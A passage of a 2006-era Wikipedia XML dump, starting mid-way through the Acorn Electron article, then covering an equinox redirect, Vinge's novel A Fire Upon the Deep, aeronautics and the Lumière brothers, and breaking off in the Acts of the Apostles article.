The Electron was able to save and load programs onto [[compact audio cassette|audio cassette]] via a supplied converter cable that plugged into the [[microphone]] socket of any [[tape recorder]]. It was capable of basic graphics, and could display onto either a television set or a &quot;[[green screen]]&quot; monitor.

At its peak, the Electron was the third best selling micro in the United Kingdom, and total lifetime game sales for the Electron exceeded those of the BBC Micro. There are at least 500 known games for the Electron and the true total is probably in the thousands.

The hardware of the BBC Micro was emulated by a single customized [[Gate array|ULA]] chip designed by Acorn. It had feature limitations such as being unable to output more than one channel of sound where the BBC was capable of three-way polyphony and the inability to provide [[teletext]] mode. The machine architecture also imposed a substantial speed decrease on applications running from RAM, although ROM applications ran at the same speed

The ULA controlled memory access and was able to provide 32K &amp;times; 8 bits of addressable RAM using 4 &amp;times; 64K &amp;times; 1-bit [[random-access memory|RAM]] chips (4164).

==History==
[[Image:ElectronBASIC.png|thumb|right|Acorn Electron BASIC - the first thing displayed when an unexpanded Electron is switched on]]
The Electron was developed during 1983 as a cheap sibling for the [[BBC Micro]] with the intention of capturing the low cost Christmas sales market for that year. Although Acorn were able to shrink substantially the same functionality as the [[BBC Micro|BBC]] into just one chip, manufacturing problems meant that very few machines were available for the Christmas period - to the extent that some shops reported eight presales for every delivered machine.

This was a blow from which the machine never fully recovered, although games sales for it would ultimately outstrip those of the BBC Micro. Following [[Olivetti]]'s 1985 cash injection into Acorn the machine was effectively sidelined.

With hindsight, the machine was too lacking in RAM (a typical program would need to fit in only around 20 kB once display memory is subtracted) and processing power to take on the prevailing [[ZX Spectrum]] and [[Commodore 64]]. Despite this, several features that would later be associated with [[BBC Master]] and [[Acorn Archimedes|Archimedes]] were first features of Electron expansion units, including ROM cartridge slots and the [[Advanced Disc Filing System]] - a hierarchical improvement to the BBC's original [[Disc Filing System]].

==Popular upgrades==
===Acorn Plus 1===
[[Image:Electron Plus One.jpg|thumb|left|250px|An Electron with Plus 1 attached]]
The Acorn Plus 1 added two ROM slots, an analogue interface and serial and parallel ports. The analogue interface was normally used for joysticks, the parallel for a printer and the serial for a modem.

Access to ROM memory occurred at 2 MHz regardless of graphics mode so theoretically programs released on ROM could run at least twice as fast as those released on tape or disc. Despite this all of the games released on ROM were packaged as 'serial ROMS', from which the micro would load programs into main memory in exactly the same way as if it was loading from tape. This meant that programs did not need to be modified for their new memory location but gave no execution speed benefits whatsoever.

===Acorn Plus 3===
The Acorn Plus 3 was a hardware module that connected independently of the Plus 1 that added a double density 3.5&quot; disc drive connected through a WD1770 drive controller and an [[Advanced Disk Filing System|ADFS]] ROM. Because the WD1770 is capable of single density mode and uses the same IBM360 derived floppy disc format as the NEC8271 found in the BBC Micro it was also possible to run a [[Disc Filing System|DFS]] filing system with an alternate ROM.
===P.R.E.S. Advanced Plus 3===
[[Image:Advanced_Plus_3.jpg|thumb|right|250px|The P.R.E.S. Advanced Plus 3 with a 3.5&quot; drive]]
The Advanced Plus 3 was very similar to the Acorn Plus 3 but packaged as a ROM catridge for the Plus 1 with a disc drive connector at the head. This made it possible to connect a 5.25&quot; floppy disc drive as used by BBC Micro owners or a more common 3.5&quot; drive.

===Slogger/Elektuur Turbo Board===
The Slogger and Elektuur Turbo Boards were born out of a hack initially devised at Acorn. By moving the lowest 8 kB of RAM outside of reach of the ULA, the CPU could always access it at 2 MHz. The tradeoff was that the screen could not be located in that 8 kB. In practice the operating system ROMs always put the screen into the top 24 kB and as a result this probably only broke compatibility with around 2% of software.

The Slogger Turbo Board was a professionally fitted upgrade whereas the Elektuur modification was described in an article in Dutch Electronic's magazine Elektuur and intended for users to perform at home.

Speeding up the low portion of memory is particarly useful on 6502 derived machines because that processor has a faster addressing mode for the first 256 and so it is common for software to put any variables involved in time critical sections of program into that region.

If Acorn had thought to include this small modification in the original Electron design it is likely the machine would have had a much greater impact as it would have nearly doubled the amount of motion possible in games and saved modes 0-3 (including the only 16 colour mode) from being nearly useless due to contended memory timings.

===Slogger Master RAM Board===
A development of the Turbo Board, the Master RAM Board duplicated the Turbo Board functionality and added a further option of running the micro with 32 kB of shadow RAM in addition to the ordinary 32 kB - giving 64 kB total. Some clever program counter catches meant that the ordinary system ROMs and any software using the OS calls could function without significant modification, making substantially more memory available for BASIC, View, Viewsheet and almost every other business application.

Applications could not directly address video memory in this mode without modification so it was incompatible with most games although there is no inherent reason why a game couldn't be written to function in shadow mode.

During its decline, Master RAM Boards were added to every Electron to try and increase sales.
===Jafa Systems Mode 7 Display Unit===
Of the capabilities present in the BBC Micro but absent from the Electron, the teletext style ''mode 7'' was particularly conspicuous because of the very low memory usage in that mode (just less than 1 kB) and the high number of BBC programs that used it. Jafa Systems provided a number of solutions to redress this deficiency.

The most basic solution was a pure software system supplied on a ROM cartridge that drew a low resolution approximation of the mode 7 display in a graphics mode. Although cheap and effective in enabling use of some software that only used official ROM entry points for text output, this solution proved very slow because the Electron had to be placed into an 80 byte pitch display to be able to get anywhere near to reproducing mode 7 and the CPU spent a lot of time drawing approximations of mode 7 characters and graphics that in a hardware solution would be achieved without any CPU processing. It also used up 20 kB of RAM for the graphics display rather than the 1 kB of a hardware mode 7.

Two solutions with additional hardware were provided. The first used the same graphics processor as the BBC Micro in mode 7 - the [[SAA5050]] - but used software to ensure that it was fed with the correct graphics data. A software ROM would put the machine into an ordinary 40 byte pitch display. While the ULA would read the display from memory in the usual fashion, the SAA5050 would listen to the data it was reading and produce a mode 7 interpretation of the same information. When necessary the hardware would switch between the graphics output being produced by the micro and that being produced by the add-on.

The disadvantage to this system is that while the SAA5050 would expect to be repeatedly fed the same 40 bytes of data for every display scanline of every character row, the ULA would read a different set of 40 bytes for every display scanline in order to produce a full graphics display. A software ROM worked around this by duplicating the data intended for a mode 7 display in memory. Although this produced a mode 7 that barely impacted upon CPU performance and gave the same visual quality as the BBC Micro, it remained compatible only with software that used the ROM routines for outputting text and graphics and still used 10 kB of memory for the display.

A second version of the hardware add-on corrected these problems. By adding a [[CRTC6845]] to the package, a full hardware solution was created that did not reduce CPU performance and only used 1 kB of memory for the display. A software ROM was still supplied, but this did no more than expand the hardware ROM so that it knew mode 7 now existed and was able to switch into it.

==Technical information==
===Hardware===
*[[central processing unit|CPU]]: [[MOS Technology]] [[MOS Technology 6502|6502A]]
*Clock rate: variable. CPU runs at 2 [[megahertz|MHz]] when accessing ROM and 1 [[megahertz|MHz]] or 0.5897 [[megahertz|MHz]] (depending on graphics mode) when accessing RAM due to sharing memory access with the video display circuits. The Electron is widely misquoted as operating at 1.79 [[megahertz|MHz]] after measurements derived from speed testing against the thoroughly 2 [[megahertz|MHz]] BBC Micro for various pieces of 'common software'
*Coprocessor: Custom ULA
*[[random-access memory|RAM]]: 32 [[kilobyte|kB]]
*[[read-only memory|ROM]]: 32 [[kilobyte|kB]]
*Text modes: 20&amp;times;32, 40&amp;times;25, 40&amp;times;32, 80&amp;times;25, 80&amp;times;32 (all text output produced by software in graphics modes)
*Graphics modes: 160&amp;times;256 (4 or 16 colours), 320&amp;times;256 (2 or 4 colours), 640&amp;times;256 (2 colours), 320&amp;times;200 (2 colours - spaced display with two blank horizontal lines following every 8 pixel lines), 640&amp;times;200(2 colours - spaced display)
*Colours: 8 colours (TTL combinations of RGB primaries) + 8 flashing versions of the same colours
*Sound: 1 channel of sound, 7 octaves; built-in speaker. Software emulation of noise channel supported
*Dimensions: 16&amp;times;34&amp;times;6.5 [[centimetre|cm]]
*I/O ports: Expansion port, tape recorder connector (1200 [[baud]] variation on the [[Kansas City standard]] for data encoding), aerial TV connector ([[RF modulator]]), [[RGB]] video monitor output
*Power supply: External PSU, 18[[volt|V]]

===Quirks===
Like the [[BBC Micro]], the Electron was constrained by its very limited memory resources. The largest display modes used 20 kB for the frame buffer whereas the machine only had 32 kB in total. For this reason it was very common that games would not use the entire display, but would use some of the area to which the display was mapped for storage of other game data. If games were happy to be constrained to the lower 156 scanlines of the display, this could be done invisibly to the user and such use was common. Often though, games would play with visible on screen regions of apparently random colours.
===Tricks===
Two notable hardware 'tricks' have been discovered on the Electron hardware - the first switches between modes with blank lines and modes without part way through the display to produce a smooth vertical scroll as in ''Firetrack''. The basic idea is that the blank lines added in modes 3 and 6 create padding at the top of the display so that if a mode without padding is switched to part way through the display then the display position of graphics stored at specific video addresses is shifted downward in multiples of 2 scanlines.

The second 'trick' turns the one channel output into a digital speaker for [[Pulse-code modulation|PCM]] output as in ''[[Exile (BBC computer game)|Exile]]''. The speaker is attached to a hardware counter and is normally only able to output square tone at a specified frequency, but it can also be disabled completely. By setting the speaker to a frequency outside of the human audible range only the difference between speaker enabled and speaker disabled can be made out, seeming to produce a movement in audio wave terms from a high level to a low level. This gives the effect of a simple toggle speaker similar to that seen in the [[ZX Spectrum]] prior to the addition of a full sound chip in the 128 kB models and can be used to output 1bit audio samples.

However, as the Electron internals bear very little resemblance to the BBC Micro most games use [[firmware]] routines for hardware dependant actions such as selecting a particular graphics mode and as a result full hardware exploitation is substantially less common on the Electron than other popular micros.

==Popular games==
A good range of games were available for the Electron from publishers such as [[Acornsoft]] and [[Superior Software]], notably including:
*[[Elite (computer game)|Elite]]
*[[Chuckie Egg]]
*[[Repton (computer game)|The Repton series]]
*[[Exile (BBC computer game)|Exile]]
*[[Starship Command]]
*[[Thrust (computer game)|Thrust]]

See also the [[List of Acorn Electron games|list of Acorn Electron games]] for a fairly comprehensive list of every game published for the machine and [[:Category:BBC Micro and Acorn Electron games]] for a list of games with information on Wikipedia.

===Screenshots===
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;1&quot; style=&quot;border-collapse:collapse&quot;
|-
 |[[Image:ThrustElectron.png|160px|Screenshot from &quot;Thrust&quot;]]
 |[[Image:ElectronChuckieEgg.png|160px|Screenshot from &quot;Chuckie Egg&quot;]]
 |[[Image:Repton2Electron.png|160px|Screenshot from &quot;Repton 2&quot;]]
 |[[Image:Electron Holed Out.png|160px|Screenshot from &quot;Holed Out&quot;]]
|-bgcolor=&quot;#dcdcdc&quot;
 |''[[Thrust (computer game)|Thrust]]''
 |''[[Chuckie Egg]]''
 |''[[Repton (computer game)|Repton 2]]''
 |''Holed Out''
|-bgcolor=&quot;#ececec&quot;
 |[[Superior Software]]
 |A&amp;F ([[1984]])
 |[[Superior Software]]
 |[[4th Dimension (software label)|4th Dimension]]
|-
 |[[Image:ElectronCitadel.png|160px|Screenshot from &quot;Citadel&quot;]]
 |[[Image:ExileElectron.png|160px|Screenshot from &quot;Exile&quot;]]
 |[[Image:ElectronPaperboy.png|160px|Screenshot from &quot;Paperboy&quot;]]
 |[[Image:Acorn Electron Elite.png|160px|Screenshot from &quot;Elite&quot;]]
|-bgcolor=&quot;#dcdcdc&quot;
 |''[[Citadel (computer game)|Citadel]]''
 |''[[Exile (BBC computer game)|Exile]]''
 |''[[Paperboy]]''
 |''[[Elite (computer game)|Elite]]''
|-bgcolor=&quot;#ececec&quot;
 |[[Superior Software]]
 |[[Superior Software]]
 |[[Elite Systems|Elite]] ([[1986]])
 |[[Acornsoft]]
|-
 |[[Image:Acorn Electron Arcadians screenshot.png|160px|Screenshot from &quot;Arcadians&quot;]]
 |[[Image:Acorn Electron Impossible Mission screenshot.png|160px|Screenshot from &quot;Impossible Mission&quot;]]
 |[[Image:Acorn Electron Inertia screenshot.png|160px|Screenshot from &quot;Inertia&quot;]]
 |[[Image:Acorn Electron Joe Blade screenshot.png|160px|Screenshot from &quot;Joe Blade&quot;]]
|-bgcolor=&quot;#dcdcdc&quot;
 |''[[Acornsoft Arcadians|Arcadians]]''
 |''[[Impossible Mission]]''
 |''Inertia''
 |''Joe Blade''
|-bgcolor=&quot;#ececec&quot;
 |[[Acornsoft]]
 |[[US Gold]]/[[Epyx]]
 |[[4th Dimension (software label)|4th Dimension]]
 |Players
|}

==Emulation==
Two emulators of the machine exist, [[ElectrEm]] ([http://electrem.emuunlim.com]) for [[Microsoft Windows|Windows]]/[[Linux]]/[[Mac OS X]] and [[Elkulator]] ([http://elkulator.acornelectron.co.uk]) for [[Microsoft Windows|Windows]]/[[DOS]]. Electron software is predominently archived in the [[UEF (file format)|UEF]] [[file format]].

==External links==
*[http://www.stairwaytohell.com Stairway To Hell]
*[http://www.acornpreservation.org/ The Acorn Preservation Project]
*[http://www.acornelectron.co.uk/ Acorn Electron World]
&lt;!-- *[http://www.aqtion.nl/dethmer A scan of the Elektuur article describing a simple speed increasing modification to the Electron hardware]
   (removed: doesn't seem to be any such thing (?)) --&gt;

{{Acorn_computers}}

[[Category:Acorn Computers|Electron]]
[[Category:Home computers]]</text>
    </revision>
  </page>
  <page>
    <title>Autumn equinox</title>
    <id>2079</id>
    <revision>
      <id>15900523</id>
      <timestamp>2002-11-04T17:01:58Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Autumnal equinox]]</text>
    </revision>
  </page>
  <page>
    <title>A Fire Upon the Deep</title>
    <id>2080</id>
    <revision>
      <id>39891254</id>
      <timestamp>2006-02-16T16:39:49Z</timestamp>
      <contributor>
        <username>Tamfang</username>
        <id>609725</id>
      </contributor>
      <minor />
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">'''''A Fire Upon the Deep''''' ([[1992]]) is a [[science fiction]] [[novel]] written by [[Vernor Vinge]].  It combines superhuman intelligences, well-developed and believable [[Extraterrestrial life|aliens]], variable physics, space battles, love, betrayal, genocide, [[Usenet]], and more into an exceptional [[space opera]].  ''A Fire Upon the Deep'' won the [[Hugo Award for Best Novel|Hugo Award]] in [[1993]] (tied with ''Doomsday Book'' by [[Connie Willis]]).

Besides the normal print editions, the novel was included on a [[CD-ROM]] sold by [[ClariNet Communications]] along with the other nominees for the 1993 Hugo awards.  The CD-ROM edition included numerous annotations by the author that reveal his thoughts and intentions about different parts of the book.

{{spoiler}}

Vinge has been deeply concerned about the [[technological singularity]] which makes writing comprehensible and realistic high-tech SF novels nearly impossible. To sidestep the issue, he postulates that the galaxy is divided up into &quot;zones of thought,&quot; where near the center of the galaxy, only simple machines and animal-like intelligences are possible; ranging out to the outer edges of the galaxy, where superhuman intelligences, [[nanotechnology]], and faster-than-light ([[FTL]]) travel are possible.  In other words, the laws of physics vary according to location.

* ''The Unthinking Depths'' is the lowest level, centered about the galactic core.  Organic or machine intelligences of even the simplest level can't function well, if at all.  Space travel is nearly impossible, basically requiring big, dumb automated vessels with neolithic automation and massive redundancy.  These properties make actual exploration of this zone problematic.
* ''The Slow Zone'' is the next layer. FTL travel and communications do not function, dependent as they are on some physical property of the universe whose abrupt termination marks the boundary between the Beyond and the Slow Zone.  Intelligences above the level of human-equivalent are not possible.  Molecular nanotechnology also doesn't function well, if at all.  Earth is deep within the Slow Zone.
* ''The Beyond'' is where the majority of the action takes place in ''A Fire Upon the Deep''. FTL travel is possible, as is FTL communications, though the latter can be prohibitively expensive, often requiring planet-sized transceiver arrays.  Antigravity and mind-machine interfaces, along with many other technological advances work in the Beyond.  There are still limits to how smart organic or machine intelligences may become, most of them dependent on one's proximity to the Slow Zone or The Transcend.
* ''The Transcend'' is where super beings known as Powers reside.  Here there are no limits on nanotechnology, FTL travel is very fast (relative to the Beyond), FTL communications bandwidth is cheap, and there are no limits upon organic or machine intelligences or meldings between the two.  Indeed, each individual Power is a single consciousness comprised of the intelligences, both organic and inorganic, of an entire star system or group of neighboring star systems.  The Powers have passed through the [[technological singularity]] and engage in behavior that is simply beyond human comprehension.  They routinely create intelligent species from scratch, build [[Dyson Spheres]], and in general perform near-miraculous feats of engineering on scales both atomic and cosmic.  They regard involvement in the affairs of races in the Beyond in much the same way that humans would care about the competition for Alpha Male amongst a pack of wild animals.

A prequel to this book was subsequently written, ''[[A Deepness in the Sky]]'', set twenty thousand years earlier in the &quot;Slow Zone&quot; near Earth and detailing the earlier adventures of Pham Nuwen.

Two major plotlines exist in the book, related to the appearance of a malevolent quasi-Power referred to as The Blight.  Accidentally released by human explorers from an ancient library, this intelligence is able to infiltrate and control computer and biological systems, quickly infecting and destroying many star systems in the High Beyond.

Apparently with some knowledge of what they are doing, some of the humans escaping from the infected research colony travel to the edge of the Slow Zone with an object from the library.  They are forced to land their [[sleeper ship]] on a planet with a [[medieval]] civilization of dog-like creatures (the Tines) that think in packs of 4 to 6 individuals.  (In other words, an individual consciousness is carried between several persistent biological entities, who share their thoughts through [[ultrasound|high-frequency sound]]. A single creature is as smart as a clever dog, two to three can form dim intelligence, four to six is the standard, packs of more rapidly degrade into incoherence, although a genius pack of eight was known as one exceptional case. Other configurations are possible, e.g. search lines or camp perimeters with continuous mental link all along, or robotic slave teams.)  The book follows a long-lived conflict between two groups of Tines who now fight over the landed ship (which the closer group immediately attacked) and their future status in the rest of the galaxy, which they previously had no conception of.  One group, led by the Woodcarver, so named for her (sexual identity amongst multi-gender packs is fairly arbitrary) artistic abilities, is helped to develop [[cannon]] and other technology by a survivor, a young human girl, and her toy databank.  The other group, led by Lord Steel ruling for the absent Flenser (named so for his cruel psychological research), develops radio and cannon through the help of her younger brother and his communications with the outside world through the ship.  Both siblings are unaware of the other's survival and alliance with the opposing group.

Simultaneously, a rescue mission is sent from the High Beyond in the form of a human woman, Ravna, a somewhat human man, Pham Nuwen (assembled from leftover body parts by a Power and infused with memories of his former existence), and two Skroderiders, Blueshell and Greenstalk, part of an ancient species of aquatic beings with the appearance of large potted plants, with memory and thinking enhancements provided by the movable Skrodes they maneuver with.  The Power (&quot;Old One&quot;) which created Pham has been killed by The Blight, and [[mind transfer|downloaded]] as much of himself as he could fit into Pham, providing him with subconscious knowledge of how to activate the Countermeasure located on the landed ship.  While fighting off anti-human military forces (humans are purported to be the cause and furtherance of The Blight) they reach the planet and Pham initiates the Countermeasure, a [[nanotechnology|nanotechnological]] fungus-like substance/device.  It drastically alters the boundaries of the zones of thought, expanding the Slow Zone to envelop The Blight, where it is effectively neutralized.  However, this also ends up killing Pham, stranding the protagonists and many human children (in [[suspended animation]]) on the Tines' world, and a large chunk of the galaxy besides, in the depths of the Slow Zone.  Also implied is that this event thrust thousands of star systems into an environment where technology needed to survive would no longer work; a situation analogous to the state of civilization on Earth were electricity to cease to function.

== Trivia ==
The name &quot;Lord Steel&quot; suggests [[Josef Stalin]] (Russian стал (''stal'') means steel, and -ин (''-in'') is an adjectival suffix), as do many of the Flenserist society's names, mores and structures.

Several subtle references to computer science are found in the book.  For example, at one point Woodcarver mentions that a particular arrangement of the parliament chamber was strangely effective - the arrangement resembles a [[hypercube]].

== See also ==
* [[Death cube]]

[[Category:1992 books|Fire Upon the Deep]]
[[Category:Science fiction novels|Fire Upon the Deep]]
[[Category:Hugo Award winning works|Fire Upon the Deep]]
[[Category:Space opera|Fire Upon the Deep]]
[[Category:Transhumanist books|Fire Upon the Deep]]</text>
    </revision>
  </page>
  <page>
    <title>Aeronautics</title>
    <id>2082</id>
    <revision>
      <id>42088932</id>
      <timestamp>2006-03-03T19:26:59Z</timestamp>
      <contributor>
        <ip>18.89.3.147</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:F-16 Fighting Falcons above New York City(2).jpg|300px|thumb|right|Six [[F-16 Fighting Falcon]]s with the U.S. Air Force Thunderbirds aerial demonstration team fly in delta formation in front of the [[Empire State Building]].]]
'''Aeronautics''' is the [[science]] involved with the study, design, and manufacture of [[flight]] capable machines, or the techniques of operating aircraft. This includes a branch of aeronautics called [[aerodynamics]]. Aerodynamics deals with the motion of air and the way it interacts with objects in motion, such as an aircraft. Both of these branches are a part of physical science. [[Aviation]], however, refers to the operation of heavier-than-air craft.

==Early aeronautics==
{{main|Aviation history}}
Before scientific investigation of aeronautics started, people started thinking of ways to fly.  In Greek legend, [[Icarus (mythology)|Icarus]] and his father [[Daedalus]] built wings of feathers and flew out of a prison.  Icarus went to close to the sun and fell.  When people started to scientifically study how to fly, people began to understand the basics of air and aerodynamics.  One of the earliest scientists to study aeronautics was [[Leonardo da Vinci]]. Da Vinci studied the flight of birds in developing engineering schematics for some of the earliest flying machines in the late fifteenth century AD. His schematics, however, such as the [[ornithopter]] ultimately failed as practical aircraft. The flapping machines that he designed were either too small to generate sufficient lift, or too heavy for a human to operate. Although the ornithopter continues to be of interest to hobbyists, it was replaced by the glider in the 19th century.

[[Sir George Cayley]] designed the first manned glider, the ''Coachman Carrier'', in 1853. Although unpowered, it successfully flew 130 meters across a valley in [[Scarborough]].

==Modern aeronautics==
Modern aeronautic research is primarily conducted by independent corporations and universities. There are also a number of government agencies that study aeronautics, including [[NASA]] in the [[United States]] and the [[European Space Agency]] in [[Europe]].

==Aeronautical Engineering==
Aeronotical engineering is an engineering area that covers research, design, manufacture and maintenance of products such as aircraft, missiles and space satellites.
It involes scientific topics of [[Aerodynamics]], [[Materials]], [[Technology]], [[Fluid Mechanics]] and [[Aircraft Structures]]. 

==See also==
[[Image:F-15 vertical deploy.jpg|thumb]]
*[[Aerostation]]
*[[Aviation]]
*[[Aircraft]]
*[[Aerospace Engineering]]
*[[Aerostat]]
*[[Astronautics]]
*[[Spacecraft]]
*[[Mechanics of fluids]]
*[[Aerodynamics]]
*[[Hydrodynamics]]
*[[Hydrostatics]]
*[[Aeronautical abbreviations]]

==External links==
* [http://www.ari.ac.ir Aerospace Research Institute,IRAN], Persian Language [پژوهشگاه هوافضا]
* [http://aerospace-news.persianblog.com Space Science], Persian Language [دانش فضايي]
* [http://ocw.mit.edu/OcwWeb/Aeronautics-and-Astronautics/index.htm Aerospace courses] at MIT OpenCourseWare

[[Category:Transportation]]
[[Category:Aeronautics| ]]

[[pl:Aeronautyka]]
[[an:Aeronautica]]
[[ca:Aeronàutica]]
[[da:Aeronautik]]
[[de:Luftfahrt]]
[[es:Aeronáutica]]
[[eo:Aeronaŭtiko]]
[[fa:مکانیک پرواز]]
[[fr:Aéronautique]]
[[io:Aeronautiko]]
[[it:Aeronautica (scienza)]]
[[he:אווירונאוטיקה]]
[[pt:Aeronáutica]]
[[sv:Flyg]]</text>
    </revision>
  </page>
  <page>
    <title>Auguste and Louis Lumière</title>
    <id>2083</id>
    <revision>
      <id>41484568</id>
      <timestamp>2006-02-27T17:53:49Z</timestamp>
      <contributor>
        <username>Louis Do Nothing</username>
        <id>712874</id>
      </contributor>
      <text xml:space="preserve">[[Image:Fratelli Lumiere.jpg|thumb|right|The Lumière Brothers]]
'''The Lumière Brothers''', '''Louis Jean''' ([[5 October]] [[1864]], [[Besançon]], [[France]] &amp;ndash; [[6 June]] [[1948]], [[Bandol]]) and '''Auguste Marie Louis Nicholas''' ([[19 October]] [[1862]], [[Besançon]], [[France]] &amp;ndash; [[10 April]] [[1954]], [[Lyon]]), were the creators of the [[cinematographe]], a three-in-one [[film|motion picture]] camera, developer, and projector, and were among the earliest key [[film director|filmmakers]]. They were both born in Twin Valley, [[Besançon]], [[France]] but brought up in [[Lyon]]. Both attended [[La Martiniere Lyons]]. Their father ran a [[History of the camera|photographic]] firm and both brothers worked for him: Louis as a physicist and Auguste as a manager. Louis had made some improvements to the still photograph process, the most noticeable being the dry plate process which was a major step towards film.

It was not until their father retired in [[1892]] that the brothers set to work to create moving pictures. They patented a number of significant processes - most notably the creation of [[sprocket|sprocket holes]] in the film strip as a means of getting the film through the camera and projector.

They produced a single device that acted as both camera and projector, the [[cinématographe]] which they patented on [[13 February]] [[1895]]. The first footage ever to be shot on the device was shot on [[19 March]] [[1895]]; the film was ''La sortie des usines Lumière'' (literally, ''The Exit From the Lumière Factories'', or, under its more common English title, ''[[Workers Leaving the Lumiere Factory|Workers Leaving the Lumière Factory]]'').

The first paying show was on [[The First Cinema Show|28 December 1895]] in Paris at the Grand Café in the Boulevard des Capucines. They went on tour with the cinématographe in [[1896]] visiting [[Bombay]], [[London]] and [[New York]]. The moving images had an immediate and significant influence on popular culture with ''[[L'Arrivée d'un train en gare de la Ciotat]]'' (literally, ''The Arrival of a Train at the Ciotat Station'', but more commonly known as ''Arrival of a Train at a Station'') and also with [[actuality film]]s often cited as the first documentaries - although this is a matter of some debate - such as ''Workers Leaving the Lumiere Factory'', ''Le Déjeuner de Bébé'' (''Baby's Lunch'') and the first steps towards comedy with the slapstick of ''[[L'Arroseur Arrosé]]'' (''The Sprinkler Sprinkled'').

However the brothers stated that &quot;the [[film|cinema]] is an [[invention]] without any future&quot; and declined to sell their invention to [[Georges Méliès]] and so their role in the history of film was exceedingly brief. 

They turned their attentions to colour photography and in [[1903]] they patented a colour photography process, the &quot;[[Autochrome Lumière]]&quot;, launched on the market in [[1907]].

The Lumière company was a major producer of photographic products in Europe. The brand name Lumière disappeared from the marketplace following merger with [[Ilford]].

The Lumières also proposed the loudspeaker and Tulle-gras® (to heal burns).

== External links ==
* http://www.institut-lumiere.org/francais/films/1seance/accueil.html Website with some of the &quot;short films&quot; done  by the Lumière brothers.

[[Category:1864 births|Lumière, Auguste and Louis]]
[[Category:1862 births|Lumière, Auguste and Louis]]
[[Category:1954 deaths|Lumière, Auguste and Louis]]
[[Category:1948 deaths|Lumière, Auguste and Louis]]
[[Category:French film directors|Lumière, Auguste and Louis]]
[[Category:French businesspeople|Lumière, Auguste and Louis]]
[[Category:French inventors|Lumière, Auguste and Louis]]
[[Category:Pioneers of photography|Lumière, Auguste and Louis]]
[[Category:Cinema pioneers|Lumière, Auguste and Louis]]
[[Category:Hollywood Walk of Fame|Lumière, Auguste and Louis]]
[[Category:Cinema of France|Lumière, Auguste and Louis]]
[[Category:La Martiniere College]]
[[Category:Sibling duos|Lumière, Auguste and Louis]]

&lt;!-- The below are interlanguage links. --&gt;
{{film-bio-stub}}

[[da:Brødrene Lumière]]
[[de:Brüder Lumière]]
[[es:Hermanos Lumière]]
[[eo:Fratoj Lumière]]
[[fr:Auguste et Louis Lumière]]
[[id:Lumière Bersaudara]]
[[it:Auguste e Louis Lumière]]
[[nl:Gebroeders Lumière]]
[[ja:リュミエール兄弟]]
[[no:Brødrene Lumière]]
[[pl:Bracia Lumière]]
[[pt:Auguste e Louis Lumière]]
[[ro:Auguste şi Louis Lumière]]
[[ru:Люмьер]]
[[sv:Auguste och Louis Lumière]]</text>
    </revision>
  </page>
  <page>
    <title>Acts of the Apostles</title>
    <id>2084</id>
    <revision>
      <id>42001818</id>
      <timestamp>2006-03-03T03:43:26Z</timestamp>
      <contributor>
        <ip>12.222.218.206</ip>
      </contributor>
      <text xml:space="preserve">{{Books of the New Testament}}
The '''''Acts of the Apostles''''' (Greek ''Praxeis Apostolon'') is a book of the [[Bible]], which now stands fifth in the [[New Testament]]. It is commonly referred to as simply '''Acts'''. The traditional view is that it was written by the [[Macedonian]] Christian physician and historian [[Luke the Evangelist]], the companion of [[the apostle Paul]], in the [[first century]] AD.

An alternative name for the book is '''''Acts of the Holy Spirit'''''. It describes many of the journeys and actions taken by the [[Twelve Apostles|apostles]], meaning &quot;those who have been sent&quot; by God, to be His witnesses. This was originally applied exclusively to those who had personally seen and/or lived with [[Jesus|Jesus of Nazareth]].  The book of Acts contains many descriptions of miraculous events (which were given as signs from God to [[validate]] the apostles' teachings), which were performed by the Holy Spirit through the apostles. These included [[miraculous]] healings, casting out [[evil spirits]], the raising of the dead, and also historical descriptions of everyday life in the [[Roman Empire]] and in ancient [[Jerusalem]]. 

Acts describes the beginning of the [[Jewish Christians|Jewish-Christian]] church on the Day of [[Pentecost]], explains and describes the growth and spread of the Church despite (and because of) official [[persecution]], narrates the inclusion of the [[gentile]] Greeks, Romans and other [[pagans]] of the [[Near East]] into the Church (and explains how this became possible), and focuses on the lives of the apostles, specifically Simon, called &quot;[[Peter]]&quot; of [[Galilee]] (who followed and lived with Jesus for probably three years) and [[Paul of Tarsus|Saul Paulus of Tarsus]] (who began as a [[Pharisee]] and a persecutor of the Church and was [[religious conversion|convert]]ed later on the [[Road to Damascus]]).

Generally speaking, the book is a historical account of the early years of the church. It focuses mainly on the activities of [[Saint Peter|Peter]] and [[Paul of Tarsus|Paul]]. It records the history of the Jerusalem Church as led by [[Saint James the Just|James the Just]] from its inception with about 120 members (1:15) composed of [[Jew]]s and [[Proselyte]]s, to Peter baptizing [[Cornelius]] (10:44) ,who is traditionally considered the first [[Gentile]] convert, to the [[Council of Jerusalem]] (15), to James challenging Paul on the rumor that he aims to subvert the [[Law of Moses]] (21:18), to Paul's arrest in Jerusalem.

Internal evidence shows that it was the companion and sequel of the [[Gospel of Luke]] (for instance, they are both addressed to [[Theophilus (Biblical)|Theophilus]], which means &quot;God-lover&quot; or &quot;Beloved by God&quot;); its separation from that [[gospel]] occurred prior to any surviving manuscript. Historically it is of unique interest and value: there is no other book like it within the New Testament. It is the main ancient [[Church]] history; apart from it a connected picture of the [[Apostolic Age]] would be impossible. With it, Paul's letters are of priceless historical value; without it, they would be incomplete or even misleading. 

== Plan and Purpose ==
All agree that Acts is the work of a skilled author, and that he has exercised care in keeping with a definite purpose and plan.

* His second narrative is the natural sequel to his first. The [[Gospel of Luke]] set forth in orderly sequence the stages by which Jesus was led, &quot;in the power of the Spirit,&quot; to begin the establishment of the consummated [[Kingdom of Heaven|Kingdom of God]]. In the same way, Acts aims at showing how the [[Twelve Apostles|apostle]]s were led in sequential stages by the [[Holy Spirit]]. This involves emphasis on the identity of the Divine (not merely human) power expressed in the accounts.

* The [[Holy Spirit]] appears as directing and energizing throughout the apostles' whole struggle with the powers of evil to be overcome; however, it also shows how human effort must also be brought forth to overcome evil. The working of the energy in the disciples is conditioned by the continued life and volition of their Master at His Father's right hand in heaven. The Holy Spirit, &quot;the Spirit of Jesus,&quot; is the living link between Master and disciples. Hence the pains taken to exhibit (1:2, 4f., 8, 2:1ff.; cf. Luke 24:49) the fact of such spiritual solidarity, whereby their activity means His continued action in the world.

